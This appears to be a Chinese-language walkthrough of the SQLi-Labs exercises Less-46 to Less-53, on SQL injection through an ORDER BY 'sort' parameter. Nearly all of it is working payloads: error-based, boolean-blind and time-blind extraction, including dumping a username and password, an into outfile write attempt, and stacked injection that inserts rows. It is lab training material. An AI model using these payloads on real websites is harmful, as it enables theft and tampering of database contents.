Less-46
请求方式 注入类型 拼接方式 GET 报错、布尔盲注、延时盲注 ORDER BY $id
先看关键源码
1 | # GET 方式获取 sort 参数 |
其实看完源码知道它的原理,就可以用注入姿势上 验证方式
升序和降序验证
Bash # 升序排序 ?sort=1 asc
降序排序
?sort=1 dasc
rand() 验证
rand(ture) 和 rand(false) 的结果是不一样的
Payload
?sort=rand(true)
?sort=rand(false)
所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload
此外 rand() 结果是一直都是随机的
?sort=rand()
?sort=1 and rand()
延时验证
Payload ?sort=sleep(1) ?sort=(sleep(1)) ?sort=1 and sleep(1) 这种方式均可以延时,延时的时间为 (行数*1) 秒报错注入1
Payload http://192.168.248.133/sql/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
报错注入2
利用 procedure analyse 参数,也可以执行报错注入。
Payload
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(‘:’,username,password)+FROM+users limit 0,1))),1)
布尔盲注
数据库第 1 位为:s
Payload
?sort=rand(left(database(),1)>’r’)
?sort=rand(left(database(),1)>’s’)
延时盲注
数据库第一个字母的 ascii 码为 115,即s
Payload ?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1))) ?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
用into outfile将查询结果导入到文件
?sort=1 into outfile “/var/www/html/less46.txt”
失败
国光说,web目前mysql没有读写权限造成的
Less-47
请求方式 注入类型 拼接方式 GET 报错、布尔盲注、延时盲注 ORDER BY '$id' 和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可。
Less-48
请求方式 注入类型 拼接方式 GET 布尔盲注、延时盲注 ORDER BY $id 和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了。
Less-49
请求方式 注入类型 拼接方式 GET 布尔盲注、延时盲注 ORDER BY '$id'
和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了。
less-50
跟less46一样的拼接 报错注入 http://192.168.248.133/sql/Less-50/?sort=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)
因为源码中有mysqli_multi_query 函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。
这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。
堆叠注入 ?sort=1;insert into users(username,password) values ('less50','less50');
Boolean ?sort=1 and if(left(database(),1)='s');
Less-51
请求方式 注入类型 拼接方式 GET 报错、布尔盲注、延时盲注、堆叠注入 ORDER BY '$id'
?sort=1’ –+
less-52
通过对比源码 在less-51中有print_r(mysqli_error($con1)); 但是在less-52无 所以没有报错注入这东西 其它和less51一样
Less-53
请求方式 注入类型 拼接方式 GET 布尔盲注、延时盲注、堆叠注入 ORDER BY '$id' 和 Less-51 是一样的,只是少了报错注入的利用方式。